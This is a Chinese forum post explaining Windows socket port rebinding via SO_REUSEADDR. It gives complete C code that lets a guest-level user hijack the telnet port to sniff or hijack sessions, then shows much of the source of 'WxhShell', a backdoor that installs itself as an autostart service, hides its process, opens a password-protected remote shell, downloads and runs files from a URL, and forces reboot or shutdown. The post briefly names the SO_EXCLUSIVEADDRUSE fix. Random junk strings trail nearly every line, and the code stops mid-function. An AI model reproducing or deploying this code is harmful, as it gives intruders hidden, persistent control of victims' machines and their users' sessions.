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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: #W_-S0>&  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 8LuU2Lo  
2<AQ{ c  
  saddr.sin_family = AF_INET; ew c:-2Y^  
oJE<}~_k  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); &a\G,Ma  
:Z83*SPc  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); u2I@ fH/  
kaECjZ _&+  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 o##!S6:A  
E=,fdyj.  
  这意味着什么?意味着可以进行如下的攻击: Gu2=+?i?h  
2J3y 1  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 "N}MhcdS  
DwTVoCC  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 4JH^R^O<n  
U:PtRSdn!b  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 e%9zY{ABR%  
l Yj$ 3  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  onv0gb/J  
2@N-#x '  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Dj0D.}`~  
0juP"v$C>  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 QV#HN"F/K  
VjeF3pmBa  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 3?!c<^"e  
]&='E.f  
  #include 5pff}Ru`  
  #include jF#Dc[*  
  #include d@Wze[M?0  
  #include    eG.s|0`  
  DWORD WINAPI ClientThread(LPVOID lpParam);   LW!4KA]  
  int main()  Tx'anP  
  { @j(2tJ,w  
  WORD wVersionRequested; :/>Zky8,k  
  DWORD ret; _vAc/_ N  
  WSADATA wsaData; F"' (i  
  BOOL val; T w1&<S  
  SOCKADDR_IN saddr; $$B#S '  
  SOCKADDR_IN scaddr; [l~G7u.d  
  int err; DTdqwe6pi  
  SOCKET s; ? Z2`f6;W4  
  SOCKET sc; j5~~%  
  int caddsize; =C7<I   
  HANDLE mt; "837b/>/  
  DWORD tid;   = ^%*:iT  
  wVersionRequested = MAKEWORD( 2, 2 ); h=kC3ot\  
  err = WSAStartup( wVersionRequested, &wsaData ); [BEQ ~A_I  
  if ( err != 0 ) { q1rD>n&d  
  printf("error!WSAStartup failed!\n"); eK\i={va  
  return -1; uj)fah?Wg  
  } idjk uB(6  
  saddr.sin_family = AF_INET; +7y#c20  
   &IG*;$c!  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 @qF:v]=_@  
,"?8  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); &}#zG5eu  
  saddr.sin_port = htons(23); ]KUeSg|  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) hij 9r z  
  { +z~bH!$2  
  printf("error!socket failed!\n"); z6Nz)$!_i  
  return -1; ;2gO(  
  } "_+8z_  
  val = TRUE; 'W&ewZH_h  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 \23m*3"W  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) p@d_Ru  
  { dvAz}3p0]  
  printf("error!setsockopt failed!\n"); ^--8 cLB n  
  return -1; r\C"Fx^  
  } ey n-bw  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; u!FF{~5cs  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 60xL.Z   
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 B@8lD\  
-^< t%{d  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) DX/oHkLD'  
  { JL7;l0#  
  ret=GetLastError(); Y/L*0 M.<  
  printf("error!bind failed!\n"); wxF\enDY  
  return -1; c? Mbyay  
  } +u`4@~D#  
  listen(s,2); o"p['m*g  
  while(1) nIfp0U*  
  { e0]%ko"  
  caddsize = sizeof(scaddr); j=u) z7J  
  //接受连接请求 P9jSLM  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); qv<^%7gq  
  if(sc!=INVALID_SOCKET) (7"CYAe:;  
  { Y3H5}4QD  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ]i>,oxBWe  
  if(mt==NULL) ^ h2!u'IQ  
  { =tGRy@QV'\  
  printf("Thread Creat Failed!\n"); CsjrQ-#9yn  
  break;  y&wo"';  
  } +$#h6V  
  } vPrlRG6  
  CloseHandle(mt); D8WKy  
  } p& Kfy~  
  closesocket(s); |z0% q2(  
  WSACleanup(); cG1iO:  
  return 0; ^W~8)Rbf  
  }   VU+=b+B~m  
  DWORD WINAPI ClientThread(LPVOID lpParam) w8`B}Dr23  
  { jcRe),  
  SOCKET ss = (SOCKET)lpParam; @qB>qD~WsD  
  SOCKET sc; $s"-r9@q  
  unsigned char buf[4096]; V \/Qik{h  
  SOCKADDR_IN saddr; PlwM3lrj  
  long num; R%`fd *g  
  DWORD val; #6C<P!]V  
  DWORD ret; I [n|#N  
  //如果是隐藏端口应用的话,可以在此处加一些判断 #w si><7   
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   mA^3?y j  
  saddr.sin_family = AF_INET; D/wJF[_  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); VKSn \HT~  
  saddr.sin_port = htons(23); Th$xk9TK^@  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) .S]*A b  
  { @h/-P'Lc=7  
  printf("error!socket failed!\n"); .dwbJT  
  return -1; 6d3YLb4M$i  
  } .Y^pDR12  
  val = 100; &%u m#XE  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) C)QKodI  
  { & s:\t L  
  ret = GetLastError(); `$vf9'\+  
  return -1; uI I! ?   
  } ^4et; F%  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ]&tcocq  
  { $"?$r  
  ret = GetLastError(); (U\D7ItMG  
  return -1; .0MY$0s  
  } pdjRakN  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) [I7=]X  
  { (B03f$8}*_  
  printf("error!socket connect failed!\n"); E H|L1g  
  closesocket(sc); s}bLA>~Ta  
  closesocket(ss); $"MGu^0;1  
  return -1; QvJ29  
  } xE!b)@>S  
  while(1)  SWyJ`  
  { B;2#Sa.  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 =,X*40=  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 MooxT7  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 D$E#:[  
  num = recv(ss,buf,4096,0); FU;a { irB  
  if(num>0) "Jdi>{o8  
  send(sc,buf,num,0); o'8%5 M@  
  else if(num==0) }rF4M1+B\  
  break; TV`sqKW  
  num = recv(sc,buf,4096,0); G"".;}AV  
  if(num>0) j3u!lZ}U  
  send(ss,buf,num,0); *w/N>:V0p  
  else if(num==0) NLUiNfCR  
  break; Iz>\qC}  
  } sn]D7Ae  
  closesocket(ss); QP>F *A  
  closesocket(sc); hf;S#.k  
  return 0 ; +RnWeBXAT  
  } ?8;WP&  
A+FQmLS  
X1BqN+=@9  
========================================================== Dn#UcMO>W  
3sDyB-\&  
下边附上一个代码,,WXhSHELL nGur2}>n  
O'QnfpQ*9  
========================================================== 12: Q`   
PF+Or  
#include "stdafx.h" 9D;ono3  
r> .l^U9hJ  
#include <stdio.h> bfkFk  
#include <string.h> x'SIHV4M@Q  
#include <windows.h> c5pK%I}O  
#include <winsock2.h> _Ih"*~ r/&  
#include <winsvc.h> `'gcF });  
#include <urlmon.h> 5JhpBx/>o=  
'pF$6n;  
#pragma comment (lib, "Ws2_32.lib") S"`{ JCW$  
#pragma comment (lib, "urlmon.lib") jc@= b:r=  
k L4#  
#define MAX_USER   100 // 最大客户端连接数 fJe5 i6`(  
#define BUF_SOCK   200 // sock buffer WcpH= "vm  
#define KEY_BUFF   255 // 输入 buffer C'jCIL  
C IRMAX  
#define REBOOT     0   // 重启 o@C|*TXN  
#define SHUTDOWN   1   // 关机 7e D` is  
"W_E!FP]r  
#define DEF_PORT   5000 // 监听端口 J?tnS6V  
6="o&!  
#define REG_LEN     16   // 注册表键长度 k0TQFx.A  
#define SVC_LEN     80   // NT服务名长度 fG{3S:TQq  
.k#O[^~]  
// 从dll定义API dF|R`Pa2ML  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 1`l(H4  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 3_T'0x\FP  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); u=E &jL5U  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); SzFh  
#MbY+[Y@v  
// wxhshell配置信息 , 10+Sh  
struct WSCFG { iTF%}(  
  int ws_port;         // 监听端口 yA7O<p+  
  char ws_passstr[REG_LEN]; // 口令 M. _5mZ{  
  int ws_autoins;       // 安装标记, 1=yes 0=no llCE}Vdh  
  char ws_regname[REG_LEN]; // 注册表键名 (&, E}{p9  
  char ws_svcname[REG_LEN]; // 服务名 i.7$~}  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 z`D|O|#q  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 >)mF'w  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 KvI/!hl\  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ^9YS dFH/  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ^PMA"!n8  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 !#E-p?O.  
Iv{iJoe;UH  
}; U@(8)[?nxn  
{7v|\6@e3  
// default Wxhshell configuration zB\ 8<97 C  
struct WSCFG wscfg={DEF_PORT, W>'gG}.  
    "xuhuanlingzhe", RusiCo!r  
    1, D>`{f4Y  
    "Wxhshell", u/N_62sk5  
    "Wxhshell", dN){w _  
            "WxhShell Service", CurU6x1  
    "Wrsky Windows CmdShell Service", WMFn#.aY5  
    "Please Input Your Password: ", ;#*.@Or@Ah  
  1, w[G-=>;  
  "http://www.wrsky.com/wxhshell.exe", CI+liH  
  "Wxhshell.exe" d[E= HN  
    }; +LF=oM<  
]n$ v ^  
// 消息定义模块 5cl^:Ua  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; h-o;vC9fC  
char *msg_ws_prompt="\n\r? for help\n\r#>"; e"Z,!Q^-L  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; b'xBPTN  
char *msg_ws_ext="\n\rExit."; +.$:ZzH#  
char *msg_ws_end="\n\rQuit."; 2Ns<lh   
char *msg_ws_boot="\n\rReboot..."; $0]5b{i]  
char *msg_ws_poff="\n\rShutdown..."; U<'$ \ P  
char *msg_ws_down="\n\rSave to "; Eh"Y<]$  
PC%_^BDW  
char *msg_ws_err="\n\rErr!"; B E#pHg  
char *msg_ws_ok="\n\rOK!"; "#{b)!EH  
3;!a'[W&p  
char ExeFile[MAX_PATH]; 'OMl9}M  
int nUser = 0; SO~pe$c-  
HANDLE handles[MAX_USER]; Yt r*"-  
int OsIsNt; H 'nLC,  
9mpQusM  
SERVICE_STATUS       serviceStatus; >as+#rz1p  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; [y<s]C6E  
hG}/o&}U  
// 函数声明 ! e?=g%(  
int Install(void); h^J :k  
int Uninstall(void); 2m72PU<.  
int DownloadFile(char *sURL, SOCKET wsh); dE (d'*+a  
int Boot(int flag); C?\HB#41  
void HideProc(void); 9g$fFO  
int GetOsVer(void); zD s V"D8  
int Wxhshell(SOCKET wsl); wOH 3[SKo  
void TalkWithClient(void *cs); -{yG+1  
int CmdShell(SOCKET sock); T{BGg  
int StartFromService(void); 0+A#k7c6p  
int StartWxhshell(LPSTR lpCmdLine); y cWY.HD  
u#->?  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 0bGQO&s [  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); C{6m?6  
2J` LZS  
// 数据结构和表定义 2[KHmdgtB  
SERVICE_TABLE_ENTRY DispatchTable[] = UZgrSX {  
{ \ow(4O#  
{wscfg.ws_svcname, NTServiceMain}, q?f-h<yRQ  
{NULL, NULL} -BsZw. 7P  
}; -1R7 8(1  
2%]#rZ  
// 自我安装 BJsN~` =r  
int Install(void) t4-0mNBZt$  
{ ^;Yjs.bI`F  
  char svExeFile[MAX_PATH]; FwQGxGZ  
  HKEY key; X,K`]hb*0_  
  strcpy(svExeFile,ExeFile); \,`iu=YZv  
86o'3G9@  
// 如果是win9x系统,修改注册表设为自启动  mNX0BZ  
if(!OsIsNt) { Rr\fw'  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { X)8Edw[?N3  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4 @9cO)m  
  RegCloseKey(key); <*p  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { H#bu3*'  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); F+V[`w*k  
  RegCloseKey(key); "2I{T  
  return 0; CTc#*LJx>j  
    } z}p*";)A  
  } ay=f1<a  
} #;'*W$Wk2  
else { h:vI:V[/X  
y!\q ', F  
// 如果是NT以上系统,安装为系统服务 qmnW  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); B{1yMJA  
if (schSCManager!=0) 1rh2!4)7  
{ UD5f+,_;  
  SC_HANDLE schService = CreateService /{Z<!7u;U  
  ( }oii|=,#^  
  schSCManager, y$L&N0z  
  wscfg.ws_svcname, /j(<rz"j  
  wscfg.ws_svcdisp, H]Gj$P=k  
  SERVICE_ALL_ACCESS, hud'@O"R+  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ,9 .NMFn  
  SERVICE_AUTO_START, 0fR?zT?  
  SERVICE_ERROR_NORMAL, G<t _=j/r  
  svExeFile, z'EphL7r   
  NULL, V>Nw2u!!  
  NULL, _6 yrd.H  
  NULL, .O9Pn,:  
  NULL, S,C/l1s  
  NULL zc>LwX}<  
  ); sAP  YQ  
  if (schService!=0) IPnx5#eB  
  { hHsO?([99  
  CloseServiceHandle(schService); 0O?!fd n  
  CloseServiceHandle(schSCManager); AT I2  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); X""}]@B9z  
  strcat(svExeFile,wscfg.ws_svcname); x4@IK|CE  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {  ~&_BT`a  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ybgw#jv=  
  RegCloseKey(key); Vj_z"t7q  
  return 0; T- lHlm  
    } _ud !:q  
  } y1Yrf,E m=  
  CloseServiceHandle(schSCManager); qBWt(jY  
} G~Fjla\?Q  
} rcjj( C  
XO4rrAYvW  
return 1; j}$Q`7-wB1  
} &n& ndq  
X1lL@`r.5  
// 自我卸载 +~M`rR*  
int Uninstall(void) k+Ay^i}s.  
{ _l](dqyuN(  
  HKEY key; ,"4  
QgW4jIbx  
if(!OsIsNt) { iYzm<3n?  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^2!l/(?  
  RegDeleteValue(key,wscfg.ws_regname); l":Z. J  
  RegCloseKey(key); \-)augq([  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [+4--#&{  
  RegDeleteValue(key,wscfg.ws_regname); &V7{J9  
  RegCloseKey(key); /9 soUt  
  return 0; {K+]^M  
  } `n~bDG>  
} Klk[ h  
} $~2qEe.h  
else { Nn|~ :9#  
28PT1 9&  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ]abox%U=%  
if (schSCManager!=0) l+i9)Fc<i  
{ @K.[;-;g  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); iKuSk~  
  if (schService!=0) IH0qx_;P&  
  { uE{nnNZy  
  if(DeleteService(schService)!=0) { X'h J&-[P  
  CloseServiceHandle(schService); .jC-&(R +  
  CloseServiceHandle(schSCManager); 'Ijjk`d&c  
  return 0; HX:rVHY  
  } O(oGRK<xM  
  CloseServiceHandle(schService); N_"mC^Vx  
  } ;.P9t`*  
  CloseServiceHandle(schSCManager); X(ZouyD<  
} []rg'9B2b  
} }2eP~3  
+iYy^oXxw  
return 1; O7z -4r  
} 2_]"9d4  
&\, ZtaB  
// 从指定url下载文件 [EETx-  
int DownloadFile(char *sURL, SOCKET wsh) m# ]VdO'f  
{ E#=slj @  
  HRESULT hr; n-7|{1U  
char seps[]= "/"; W\?_o@d  
char *token; lJloa'%v9  
char *file; .?YLD+\A  
char myURL[MAX_PATH]; s5TPecd  
char myFILE[MAX_PATH]; ?=;dNS@i@  
i|5K4Puu  
strcpy(myURL,sURL); Dog Tj  
  token=strtok(myURL,seps); 'bpx  
  while(token!=NULL) v]tbs)x;h  
  { 8N|y   
    file=token; SqhG\qE{Qj  
  token=strtok(NULL,seps); > T,^n {_v  
  } K 5SHt'P  
>d&_e[j  
GetCurrentDirectory(MAX_PATH,myFILE); B|-E3v:f 4  
strcat(myFILE, "\\"); lth t'|  
strcat(myFILE, file); }-:s9Lt  
  send(wsh,myFILE,strlen(myFILE),0); tU02t#8  
send(wsh,"...",3,0); b NBpt}$  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); e?%Qv+)W  
  if(hr==S_OK) IGj%)_W  
return 0; e{~s\G8g  
else t7#C&B  
return 1; {]aB3  
LO,G2]  
} G9.+N~GZ.  
c[4  H  
// 系统电源模块 /XG4O  
int Boot(int flag) ON{&-  
{ mJaWzR  
  HANDLE hToken; -t, .A/?  
  TOKEN_PRIVILEGES tkp; T.vkGB=QZ%  
,ufB*[~  
  if(OsIsNt) { )vB,eZq  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); xeqAFq=9?  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); m"P"iK/Av(  
    tkp.PrivilegeCount = 1; )]"aa_20]  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 2 w2JFdm  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); N'nI ^=  
if(flag==REBOOT) { je6H}eWTC6  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Sq,ZzMw  
  return 0; P>/n!1c  
} Aen)r@Y:  
else { d^"<Tz!  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 9IgozYj  
  return 0; ^NB @wuf7  
} )J&1uMp{  
  } &CCp@" +  
  else { |cwGc\ES  
if(flag==REBOOT) { X p4x:N  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 0?3Ztdlb  
  return 0; k23*F0Dv  
} }~Z1C0 t  
else { |A".Mo_5  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ViqcJD  
  return 0; Fj<#*2{]B  
} ek~bXy{O`  
} rt r0 d  
&]gw[ `  
return 1; TY[{)aH{S  
} RX.n7Tb  
^a~^$PUqI  
// win9x进程隐藏模块 z}v6!u|iZu  
void HideProc(void) 5bZf$$b  
{ `RUOZ@r  
pj.}VF!d  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 1A;>@4iC0  
  if ( hKernel != NULL ) FBpf_=(_1  
  { B`,4M&  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); @l~zn%!X  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); zoYw[YP9  
    FreeLibrary(hKernel); zCxr]md  
  } HMT^gmF)  
0q`n]NM  
return; Bi?+e~R  
} T/Q#V)Tp  
X PnN"Y"y  
// 获取操作系统版本 B.nq3;Y  
int GetOsVer(void) .c~`{j}  
{ ng $`<~=)\  
  OSVERSIONINFO winfo; 2aiZ  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 4 %do.D*  
  GetVersionEx(&winfo); ^Wk.D-  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) N<V,5  
  return 1; O?|st$g  
  else ,Q~C F;qe  
  return 0; M$j]VZ  
} DuJbWtA  
vCE1R]^A.]  
// 客户端句柄模块 bM`7>3 d7E  
int Wxhshell(SOCKET wsl) 4O Lq  
{ Y Gb&mD  
  SOCKET wsh; ^DZ(T+q,  
  struct sockaddr_in client; )r _zM~jI  
  DWORD myID; 03aa>IO  
fyat-wbb  
  while(nUser<MAX_USER) (~t/8!7N  
{ Bd8,~8  
  int nSize=sizeof(client); *gHGi(U(U  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); %G!BbXlz  
  if(wsh==INVALID_SOCKET) return 1; S`ms[^-q*  
J6}J/  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); FbRq h|  
if(handles[nUser]==0) ZsjDe{TH  
  closesocket(wsh); ?`%7Y~  
else qF!oP  
  nUser++; JGjqBuz#A*  
  } 9Tbi_6[  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Ar@" K!TS  
k!Y7 Rc{"  
  return 0; >gNVL (  
}  'Q\I@s }  
<C0~7]XO  
// 关闭 socket VFLxxFJ  
void CloseIt(SOCKET wsh) 96Kv!  
{ uH'n.d"WG  
closesocket(wsh); Ra%" +=  
nUser--; We]mm3M3  
ExitThread(0); 7;H!F!K]  
} wGfU@!m  
+m Plid\  
// 客户端请求句柄 "PO>@tY  
void TalkWithClient(void *cs) |7G +O+j  
{ Kfho:e,  
a`XXz  
  SOCKET wsh=(SOCKET)cs; 8 /3`rEW  
  char pwd[SVC_LEN]; )%D2JC  
  char cmd[KEY_BUFF]; gWcl@|I;\  
char chr[1]; %J`cYn#  
int i,j; s?h=%; T[  
o' U::  
  while (nUser < MAX_USER) { k)+2+hX&>  
e.X*x4*>~  
if(wscfg.ws_passstr) { t;ZA}>/  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  iC]=S}  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); >^vyp!  
  //ZeroMemory(pwd,KEY_BUFF); 4{!7T  
      i=0; -*;-T9  
  while(i<SVC_LEN) { [se J'Io  
.QRa{l_)  
  // 设置超时 q}vz]L&o  
  fd_set FdRead; SyHS9>  
  struct timeval TimeOut; zd1X(e<|{  
  FD_ZERO(&FdRead); PGTi-o}  
  FD_SET(wsh,&FdRead); G&i<&.i  
  TimeOut.tv_sec=8; O>P792)  
  TimeOut.tv_usec=0; y#%*aV}|B  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ILsw'  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 2)O-EAn  
JO*}\Es  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); S!*wK-  
  pwd=chr[0]; "AH1)skB:  
  if(chr[0]==0xd || chr[0]==0xa) { >z&|<H%  
  pwd=0; S.,om;`  
  break; N_AAhD  
  } `~${fs{-`/  
  i++; zoFCHs r  
    } 1Yj^N" =  
fTn  
  // 如果是非法用户,关闭 socket RweK<Flo'S  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); LQy`,-&  
} XE/K|o^Hp  
e;QPn(  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); g\%vkK&I  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1: cD\  
/5@4}m>Z@  
while(1) { &YAw~1A  
$+#Lq.3,  
  ZeroMemory(cmd,KEY_BUFF); mGf@J6wGz  
_0Mt*]L }  
      // 自动支持客户端 telnet标准   lO?dI=}]  
  j=0; PjL"7^Q&  
  while(j<KEY_BUFF) { ~Q  q0  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); xp+Z%0D  
  cmd[j]=chr[0]; -Xm/sq(i)%  
  if(chr[0]==0xa || chr[0]==0xd) { v.wHj@  
  cmd[j]=0; eVDO]5?  
  break; #;l~Y}7'  
  } 'IR2H{Q  
  j++; s@Q, wa(  
    } gpo+-NnG  
G}MJWf Hl  
  // 下载文件 !nPwRK>  
  if(strstr(cmd,"http://")) { RtE2%d$JT  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); @"B"*z-d  
  if(DownloadFile(cmd,wsh)) Uc j eB  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); a!n |/9 6  
  else X- xN<S q  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Q/JX8<7K  
  } jHP6d =  
  else { K'Gv+UC*6  
6jdNQC$#B  
    switch(cmd[0]) { wOhiC$E46  
  }]i re2j8  
  // 帮助  X`REhvT  
  case '?': { 5*Wo/%#q  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); v5aHe_?lp  
    break; Klw\  
  } Wmm'j&hI  
  // 安装 p5 !B  
  case 'i': { .Xq4QR .  
    if(Install()) R~=_,JUW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0N" VOEvG  
    else ^e<"`e  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); dIQxU  
    break; SCXH{8SS  
    } G-5 4D_ 4  
  // 卸载 nDt1oM H  
  case 'r': { @Ido6Z7  
    if(Uninstall()) C`p)S`d  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @raw8w\Zj+  
    else {C% #r@6  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?1+JBl~/d  
    break; !9w;2Z]uum  
    } qUZm6)p6[a  
  // 显示 wxhshell 所在路径 I U Mt^z  
  case 'p': { &p."` C  
    char svExeFile[MAX_PATH]; R F)Qsa  
    strcpy(svExeFile,"\n\r"); Q9Y$x{R&  
      strcat(svExeFile,ExeFile); __F?iRrCM  
        send(wsh,svExeFile,strlen(svExeFile),0); PT`];C(he  
    break; C4Tn  
    } %[l*:05  
  // 重启 ~^6[SbVb  
  case 'b': { ,-4SVj8$P  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); $r>\y (W  
    if(Boot(REBOOT)) U}6F B =  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); U c6]]Bbc  
    else { \[nvdvJv  
    closesocket(wsh); .e^AS~4pl  
    ExitThread(0); T)!$-qdz/  
    } QG|KZ8uO  
    break; st b)Tl^  
    } c*5y8k  
  // 关机 NI@$"   
  case 'd': { |GDf<\  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); &~%( RO  
    if(Boot(SHUTDOWN)) rO_|_nV[  
